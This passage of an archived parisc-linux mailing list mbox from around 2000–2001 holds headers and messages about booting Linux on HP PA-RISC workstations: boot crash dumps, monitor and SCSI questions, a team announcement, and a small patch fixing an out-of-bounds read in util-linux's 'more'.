      YXrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
 PSW: 00000000000001101111110100001011
 r0-3:   00000000 c01dc000 c02a7050 c4f9c748
 r4-7:   0000002c c4ff6240 f0824800 ffffffdf
 r8-11:  ffffffff c027a000 00000000 000a5a59
 r12-15: 000a5a59 000ff000 f00012a8 00000000
 r16-19: 00000001 08000059 c828c828 0000000b
 r20-23: 000000ff 00000041 c4f9b040 0000000b
 r24-27: ffffffff f0824800 f0824800 co266000
 r28-31: 000000d3 00000780 c4f9c940 c012dfc0
 sr 0-4: 00000000 00000000 00000000 00000000
 sr 4-8: 00000000 00000000 00000000 00000000

 IASQ: 00000000 00000000   IAOQ:  c01dc2e0 c01dc2e4
 IIR:  e840c000   ISR:  00000000   IOR:  c02aa705
 ORIG_R28:  00000000


and nothing more happens.
I saw in this list, that some people managed to boot linux on "model
735".
Did I miss something ?  Can anybody share kernel for 735 ?


A.K.


From - Thu Nov 08 21:15:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aleksandr Konstantinov <sanjak@tipas.lt>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting palinux on model 735 problems.
Date: Tue, 11 Jan 2000 15:12:12 +0200
Lines: 53
Approved: news@gmane.org
Message-ID: <387B2C2C.3136129D@tipas.lt>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619512 10118 80.91.229.3 (22 Nov 2014 01:25:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:12 +0000 (UTC)
To: parisc-linux <parisc-linux@thepuffingroup.com>
Original-X-From: sanjak@tipas.lt  Thu Jan 11 07:15:42 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA30120
	for <parisc-linux@puffin.external.hp.com>; Thu, 11 Jan 2001 07:15:41 -0700
Original-Received: (qmail 31635 invoked by uid 15267); 11 Jan 2001 14:19:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31511 invoked from network); 11 Jan 2001 14:19:12 -0000
Original-Received: from rfk.ff.vu.lt (193.219.83.105)
  by mailserv2.iuinc.com with SMTP; 11 Jan 2001 14:19:12 -0000
Original-Received: by rfk.ff.vu.lt
	(1.38.193.4/16.2) id AA21091; Sun, 11 Jan 1998 15:55:00 +0100
Original-Received: from siny.rfk.ff.vu.lt(192.168.1.102) by rfk.ff.vu.lt via smap (V2.1)
	id xma021089; Sun, 11 Jan 98 15:54:51 +0100
Original-Sender: sanjak@tipas.lt
X-Mailer: Mozilla 4.07 [en] (X11; I; Linux 2.2.16 i686)
Xref: news.gmane.org gmane.linux.ports.parisc:9138

Sorry for double message.



Hello All.

  I have problem.
 We have here two HP Apollo 9000 Series 700 Model 735 boxes (both
identical).  I tried to boot
palinux-0.5.iso on one of them. Because boxes have no cdrom I did it
through network using 
rbootd (slightly modified to accept empty target names) giving it whole
cdrom device as target.
It started ok, listed all devices available on board and passed to (all
strings are copied from
screen)

  ASP version 20 at f0800000 found.

Then it waits a bit and writes at screen

  Running stack from ...

and dumps a lot of data. Then it ends with

  High Priority Machine Check (HPMC): Code=1 regs=c026d080
(Addr=00000000)
      YXrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
 PSW: 00000000000001101111110100001011
 r0-3:   00000000 c01dc000 c02a7050 c4f9c748
 r4-7:   0000002c c4ff6240 f0824800 ffffffdf
 r8-11:  ffffffff c027a000 00000000 000a5a59
 r12-15: 000a5a59 000ff000 f00012a8 00000000
 r16-19: 00000001 08000059 c828c828 0000000b
 r20-23: 000000ff 00000041 c4f9b040 0000000b
 r24-27: ffffffff f0824800 f0824800 co266000
 r28-31: 000000d3 00000780 c4f9c940 c012dfc0
 sr 0-4: 00000000 00000000 00000000 00000000
 sr 4-8: 00000000 00000000 00000000 00000000

 IASQ: 00000000 00000000   IAOQ:  c01dc2e0 c01dc2e4
 IIR:  e840c000   ISR:  00000000   IOR:  c02aa705
 ORIG_R28:  00000000


and nothing more happens.
I saw in this list, that some people managed to boot linux on "model
735".
Did I miss something ?  Can anybody share kernel for 735 ?


A.K.


From - Thu Nov 08 21:15:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] More C100 questions
Date: Thu, 11 Jan 2001 09:05:11 -0600 (CST)
Lines: 42
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101110826250.8356-100000@maestro.symsys.com>
References: <387B2C2C.3136129D@tipas.lt>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619512 10125 80.91.229.3 (22 Nov 2014 01:25:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:12 +0000 (UTC)
To: parisc-linux <parisc-linux@thepuffingroup.com>
Original-X-From: ingram@symsys.com  Thu Jan 11 08:01:43 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA30652
	for <parisc-linux@puffin.external.hp.com>; Thu, 11 Jan 2001 08:01:43 -0700
Original-Received: (qmail 3991 invoked by uid 15267); 11 Jan 2001 15:05:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3953 invoked from network); 11 Jan 2001 15:05:12 -0000
Original-Received: from maestro.symsys.com (root@208.223.9.37)
  by mailserv2.iuinc.com with SMTP; 11 Jan 2001 15:05:12 -0000
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id JAA08536
	for <parisc-linux@thepuffingroup.com>; Thu, 11 Jan 2001 09:05:11 -0600
In-Reply-To: <387B2C2C.3136129D@tipas.lt>
Xref: news.gmane.org gmane.linux.ports.parisc:9139


Hello again,

Well, I bought the C100 and I have a couple of more questions.  Er,
they're not Linux-specific yet, but I'll get there.

1)  Display.  I'd asked earlier (this list and the vendor) if I could
drive an off-the-shelf PC monitor.  Everybody liked my chances, the
connector on the back of the C100 looks like an [S]VGA connector, but it
doesn't seem to drive my fairly studly 17" HP monitor.  The C100's PROM
says this about the display adaptor:

MONITOR INFORMATION

    Slot #        HPA        State    Resolution   Frequency     Class
   ---------   ----------   -------   ----------   ---------   ---------
   graphics0   f8000000     Empty
   graphics3   f4000000     Empty
   graphics4   f6000000     Present   1280x1024    75Hz        VESA
   graphics1   fa000000     Empty

   Current Console Path:       core.SERIAL_1.9600.8.none

   Stable Store Console Path:  GRAPHICS3

The serial console is working fine.  Any suggestions as to the if/how I
can drive a PC monitor with this thing?  Is that 'Stable Store Console
Path' wrong?

2) SCSI.  It came with a two-user version of HP/UX installed on a 2 gig
wide SCSI drive BUT NO MEDIA.  So for the time being I plan to keep HP/UX
on this drive.  Apparently there's about 250 megs that aren't allocated.
Can Linux use an HP/UX partition?  The box has two SCSI connectors on the
back.  One is called a 'single-ended SCSI bus'.  If I had the right cable,
could I run an older SCSI drive?  I've got a 500 meg drive waiting for
something useful to do.

Kind regards,

- Greg



From - Thu Nov 08 21:15:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting palinux on model 735 problems.
Date: Thu, 11 Jan 2001 16:28:53 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <20010111162853.F18838@linuxcare.com>
References: <3699F3A6.1A7AFB31@tipas.lt>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619512 10129 80.91.229.3 (22 Nov 2014 01:25:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:12 +0000 (UTC)
Cc: parisc-linux <parisc-linux@thepuffingroup.com>
To: Aleksandr Konstantinov <sanjak@tipas.lt>
Original-X-From: rhirst@linuxcare.com  Thu Jan 11 09:33:53 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA32162
	for <parisc-linux@puffin.external.hp.com>; Thu, 11 Jan 2001 09:33:53 -0700
Original-Received: (qmail 27219 invoked by uid 15267); 11 Jan 2001 16:37:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27196 invoked from network); 11 Jan 2001 16:37:26 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 11 Jan 2001 16:37:26 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id F4110B005; Thu, 11 Jan 2001 16:28:53 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <3699F3A6.1A7AFB31@tipas.lt>; from sanjak@tipas.lt on Mon, Jan 11, 1999 at 02:50:46PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:9140

On Mon, Jan 11, 1999 at 02:50:46PM +0200, Aleksandr Konstantinov wrote:

1999?

> Hello All.
> 
>   I have problem.
>  We have here two HP Apollo 9000 Series 700 Model 735 boxes (both
> identical).  I tried to boot
> palinux-0.5.iso on one of them. Because boxes have no cdrom I did it
> through network using 
> rbootd (slightly modified to accept empty target names) giving it whole
> cdrom device as target.
> It started ok, listed all devices available on board and passed to (all
> strings are copied from
> screen)
> 
>   ASP version 20 at f0800000 found.
> 
> Then it waits a bit and writes at screen

See http://parisc-linux.org/faq.html question 8 - you probably need to
build/wait for a new kernel.

Richard


From - Thu Nov 08 21:15:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] More C100 questions
Date: Thu, 11 Jan 2001 08:41:24 -0800
Lines: 45
Approved: news@gmane.org
Message-ID: <200101111641.IAA06417@milano.cup.hp.com>
References: <Pine.LNX.4.21.0101110826250.8356-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619513 10130 80.91.229.3 (22 Nov 2014 01:25:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:13 +0000 (UTC)
Cc: parisc-linux <parisc-linux@thepuffingroup.com>
To: Greg Ingram <ingram@symsys.com>
Original-X-From: grundler@cup.hp.com  Thu Jan 11 09:36:15 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA32257
	for <parisc-linux@puffin.external.hp.com>; Thu, 11 Jan 2001 09:36:15 -0700
Original-Received: (qmail 31073 invoked by uid 15267); 11 Jan 2001 16:39:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31061 invoked from network); 11 Jan 2001 16:39:45 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 11 Jan 2001 16:39:45 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 979BFD8; Thu, 11 Jan 2001 08:39:44 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id IAA06417;
	Thu, 11 Jan 2001 08:41:26 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 11 Jan 2001 09:05:11 PST."
             <Pine.LNX.4.21.0101110826250.8356-100000@maestro.symsys.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9141

Greg Ingram wrote:
> 1)  Display.  I'd asked earlier (this list and the vendor) if I could
> drive an off-the-shelf PC monitor.

This should be in the FAQ: "Hit Tab key on power up. Keyboard and Display
must connected to respective ports. Firmware will cycle through known
display types. Hit return to select one". This is probably described
in any of the workstation ownwers guides at
	http://docs.hp.com/hpux/hw/index.html

I'm not sure where the FAQ lives these days.
Alex, can you add this?

...
> The serial console is working fine.  Any suggestions as to the if/how I
> can drive a PC monitor with this thing?  Is that 'Stable Store Console
> Path' wrong?

Can't tell. Need to know what slot your interface card is installed in.
Use "in io" on newer workstations/servers or "info" (?) on older ones
to find out what's installed and the PDC understands.
How to check is worth mentioning the "How do I hook up a Display" FAQ.

> 
> 2) SCSI.  It came with a two-user version of HP/UX installed on a 2 gig
> wide SCSI drive BUT NO MEDIA.  So for the time being I plan to keep HP/UX
> on this drive.  Apparently there's about 250 megs that aren't allocated.
> Can Linux use an HP/UX partition?

No. Only full disk supported until some one writes the LVM support
and also adds it to our boot loader, palo.

> The box has two SCSI connectors on the
> back.  One is called a 'single-ended SCSI bus'.  If I had the right cable,
> could I run an older SCSI drive?  I've got a 500 meg drive waiting for
> something useful to do.

Yes.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:15:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?SOETE_Jo=EBl?= <JSO@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: RE: C110 - palinux-0.5.iso boot but...
Date: Thu, 11 Jan 2001 18:17:15 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <A4A5E4C468B5D11190220001FA6835DD04DD87B6@EPIXCH003>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619513 10137 80.91.229.3 (22 Nov 2014 01:25:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:13 +0000 (UTC)
Cc: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
To: "'karsten@excalibur.cologne.de'" <karsten@excalibur.cologne.de>
Original-X-From: JSO@europay.com  Thu Jan 11 10:15:26 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA32729
	for <parisc-linux@puffin.external.hp.com>; Thu, 11 Jan 2001 10:15:25 -0700
Original-Received: (qmail 3716 invoked by uid 15267); 11 Jan 2001 17:18:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3667 invoked from network); 11 Jan 2001 17:18:56 -0000
Original-Received: from mail.europay.com (HELO epirel991.europay.com) (193.75.200.45)
  by mailserv2.iuinc.com with SMTP; 11 Jan 2001 17:18:56 -0000
Original-Received: from epixchims.europay.com (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592dd5510b7d16cb@epirel991.europay.com>;
 Thu, 11 Jan 2001 18:18:18 +0100
Original-Received: by epixchims.europay.com with Internet Mail Service (5.5.2650.21)
	id <Z16L0ZBJ>; Thu, 11 Jan 2001 18:16:13 +0100
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:9142

Hello Karsten,

I download the cvs dated 20010111 of linux and palo and it works also fine
on the C110 model but not yet on the B180 where it just show on the PDC
console:
	...
	Segment 0 ...
	Segment 1 ...
	Segment 2 ...
	branching to kernel entry 0x001001128
	set default PSW bit to 0

then nothing more neither on PDC neither on serial console before the login
prompt on the serial console?

Thanks a lot for the info,
	Joel

PS: Do you know which code to hack to try to make it works on B180?





**********************************************************************
This e-mail and any attachments to it may contain confidential information which is strictly intended for the use of the authorised recipient.  If you have received this e-mail in error, please delete it and notify the sender by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************


From - Thu Nov 08 21:15:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Baz Valkema" <bvalkema@knowhowww.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] More C100 questions
Date: Thu, 11 Jan 2001 19:06:45 +0100
Lines: 63
Approved: news@gmane.org
Message-ID: <JGEAKBGINIHGNHJDIOMCGEFNCAAA.bvalkema@knowhowww.nl>
References: <200101111641.IAA06417@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619513 10142 80.91.229.3 (22 Nov 2014 01:25:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:13 +0000 (UTC)
Cc: "parisc-linux" <parisc-linux@thepuffingroup.com>
To: "Grant Grundler" <grundler@cup.hp.com>, "Greg Ingram" <ingram@symsys.com>
Original-X-From: bvalkema@knowhowww.nl  Thu Jan 11 11:09:20 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA00886
	for <parisc-linux@puffin.external.hp.com>; Thu, 11 Jan 2001 11:09:19 -0700
Original-Received: (qmail 3456 invoked by uid 15267); 11 Jan 2001 18:12:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3436 invoked from network); 11 Jan 2001 18:12:53 -0000
Original-Received: from njord.bart.nl (@194.158.170.15)
  by mailserv2.iuinc.com with SMTP; 11 Jan 2001 18:12:53 -0000
Original-Received: from bas (cable036.196.eneco.bart.nl [195.38.196.36])
	by njord.bart.nl (8.10.1/8.10.1) with SMTP id f0BI9qb81985;
	Thu, 11 Jan 2001 19:09:52 +0100 (CET)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <200101111641.IAA06417@milano.cup.hp.com>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Xref: news.gmane.org gmane.linux.ports.parisc:9143

Other thing to note when attaching a monitor to an workstation is that
some (old at least the 715/50) workstations have the sync-signal on green,
and no signal(s) on the h-sync and v-sync, which will make newer monitors
go into power-save state...


-----Oorspronkelijk bericht-----
Van: Grant Grundler [mailto:grundler@cup.hp.com]
Verzonden: donderdag 11 januari 2001 17:41
Aan: Greg Ingram
CC: parisc-linux
Onderwerp: Re: [parisc-linux] More C100 questions


Greg Ingram wrote:
> 1)  Display.  I'd asked earlier (this list and the vendor) if I could
> drive an off-the-shelf PC monitor.

This should be in the FAQ: "Hit Tab key on power up. Keyboard and Display
must connected to respective ports. Firmware will cycle through known
display types. Hit return to select one". This is probably described
in any of the workstation ownwers guides at
	http://docs.hp.com/hpux/hw/index.html

I'm not sure where the FAQ lives these days.
Alex, can you add this?

...
> The serial console is working fine.  Any suggestions as to the if/how I
> can drive a PC monitor with this thing?  Is that 'Stable Store Console
> Path' wrong?

Can't tell. Need to know what slot your interface card is installed in.
Use "in io" on newer workstations/servers or "info" (?) on older ones
to find out what's installed and the PDC understands.
How to check is worth mentioning the "How do I hook up a Display" FAQ.

>
> 2) SCSI.  It came with a two-user version of HP/UX installed on a 2 gig
> wide SCSI drive BUT NO MEDIA.  So for the time being I plan to keep HP/UX
> on this drive.  Apparently there's about 250 megs that aren't allocated.
> Can Linux use an HP/UX partition?

No. Only full disk supported until some one writes the LVM support
and also adds it to our boot loader, palo.

> The box has two SCSI connectors on the
> back.  One is called a 'single-ended SCSI bus'.  If I had the right cable,
> could I run an older SCSI drive?  I've got a 500 meg drive waiting for
> something useful to do.

Yes.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253

---------------------------------------------------------------------------
To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.


From - Thu Nov 08 21:15:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Xavier Debacker <xavier.debacker@esiee.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ESIEE Team, to infinite and beyond
Date: Thu, 11 Jan 2001 21:02:44 +0100
Organization: ESIEE
Lines: 18
Approved: news@gmane.org
Message-ID: <3A5E1164.30357420@esiee.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619514 10147 80.91.229.3 (22 Nov 2014 01:25:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:14 +0000 (UTC)
To: parisc-linux <parisc-linux@thepuffingroup.com>,
        parisc-linux-announce@thepuffingroup.com
Original-X-From: xavier.debacker@esiee.net  Thu Jan 11 12:50:19 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA01609
	for <parisc-linux@puffin.external.hp.com>; Thu, 11 Jan 2001 12:50:19 -0700
Original-Received: (qmail 17937 invoked by uid 15267); 11 Jan 2001 19:53:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17923 invoked from network); 11 Jan 2001 19:53:51 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 11 Jan 2001 19:53:51 -0000
Original-Received: from esiee.net (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id AFD3ED1585; Thu, 11 Jan 2001 20:53:50 +0100 (CET)
Original-Sender: debackex@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9144

Hi,

We're really glad to announce that according to the success of the team,
ESIEE decided to let us continue the project.

Cherry on top, 7 more people will join us until march!

There are newbies, we'll manage them ;-)
there are also more experimented people.

ESIEE Team
http://www.esiee.fr/puffin

Mr Potato and Woody think that Buzz should say: To infinite, and beyond!





From - Thu Nov 08 21:15:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Ready to go!
Date: Sat, 29 May 1999 23:21:52 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <19990529232152.I1410@mencheca.ch.genedata.com>
References: <001c01beaa14$d4002640$5b0e070a@monorailpc> <Pine.LNX.4.10.9905292311070.25944-100000@bastion.nl3155vj16.vanderkooij.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619514 10149 80.91.229.3 (22 Nov 2014 01:25:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:14 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Hugo van der Kooij <Hugo.van.der.Kooij@caiw.nl>
Original-X-From: Matthew.Wilcox@genedata.com  Sat May 29 15:21:57 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA03427
	for <parisc-linux@puffin.external.hp.com>; Sat, 29 May 1999 15:21:56 -0600
Original-Received: (qmail 21143 invoked by uid 15267); 29 May 1999 21:21:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21136 invoked from network); 29 May 1999 21:21:24 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 29 May 1999 21:21:24 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id XAA15794;
	Sat, 29 May 1999 23:21:53 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id XAA506390;
	Sat, 29 May 1999 23:21:53 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m10nqYC-00029yC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for Hugo.van.der.Kooij@caiw.nl; Sat, 29 May 1999 23:21:52 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
In-Reply-To: <Pine.LNX.4.10.9905292311070.25944-100000@bastion.nl3155vj16.vanderkooij.org>; from Hugo van der Kooij on Sat, May 29, 1999 at 11:12:19PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:9145

On Sat, May 29, 1999 at 11:12:19PM +0200, Hugo van der Kooij wrote:
> On Sat, 29 May 1999, Ross Sponholtz wrote:
> 
> > Alright!  I finally got my HP 715.  Now I need to get started with the project.  I was planning on getting MkLinux going, but apparently, the opengroup site with the software has been taken down.  Does anyone have the disk image that I could ftp?  Also, is everyone booting off the network (for development purposes)?
> 
> The 715/33 won't run mklinux at all. Basically one of the reasons I have
> set my hopes on the real PARISC port. (Which I will patiently await.)

Don't just wait, get involved!  :-)  There are several models of 715,
btw, he doesn't necessarily have the one model of 715 which mkLinux
won't work with.  I do though!

binfmt_som is coming on quite well, I'll hopefully have a first cut
released by tomorrow.  I'm not quite sure how it will tie in with
the rest of the code yet.

-- 
Matthew Wilcox <willy@bofh.ai>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Bug in more
Date: Thu, 11 Jan 2001 22:09:17 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <20010111220917.J18838@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619514 10152 80.91.229.3 (22 Nov 2014 01:25:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:25:14 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, util-linux@math.uio.no
To: Andries Brouwer <aeb@cwi.nl>
Original-X-From: rhirst@linuxcare.com  Thu Jan 11 15:14:14 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA02752
	for <parisc-linux@puffin.external.hp.com>; Thu, 11 Jan 2001 15:14:13 -0700
Original-Received: (qmail 9912 invoked by uid 15267); 11 Jan 2001 22:17:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9905 invoked from network); 11 Jan 2001 22:17:47 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 11 Jan 2001 22:17:47 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id AFBABB005; Thu, 11 Jan 2001 22:09:17 +0000 (GMT)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:9146

Hi,
  I have found a bug in 'more', util-linux-2.10r source.
At startup tailequ() is called to match the last component of argv[0]
against "page".  tailequ() is broken because it accesses one location
below the start of argv[0].  This causes a crash on parisc, where the
stack grows upwards and argv[0] is the first element on the stack.

Richard

--- util-linux-2.10r/text-utils/more.c-	Thu Jan 11 15:00:59 2001
+++ util-linux-2.10r/text-utils/more.c	Thu Jan 11 15:02:52 2001
@@ -815,8 +815,8 @@
 	register char *tail;
 
 	tail = path + strlen(path);
-	while (tail >= path)
-		if (*(--tail) == '/')
+	while (--tail >= path)
+		if (*tail == '/')
 			break;
 	++tail;
 	while (*tail++ == *string++)


From - Thu Nov 08 21:15:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andries.Brouwer@cwi.nl
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [util-linux] Bug in more
Date: Thu, 11 Jan 2001 23:59:13 +0100 (MET)
Lines: 5
Approved: news@gmane.org
